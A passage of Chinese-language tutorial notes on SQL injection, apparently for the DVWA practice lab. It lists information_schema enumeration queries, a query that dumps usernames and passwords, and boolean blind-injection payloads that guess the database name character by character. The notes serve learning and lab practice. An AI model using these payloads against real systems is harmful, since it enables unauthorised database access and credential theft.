首先还是写一下核心的语句吧。
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
select concat(username,password) from dvwa.users;
布尔盲注
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。
select id,name from product where id=1 and 1=1
布尔型盲注步骤和语句
1.判断当前数据库名长度与数据库名称
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成as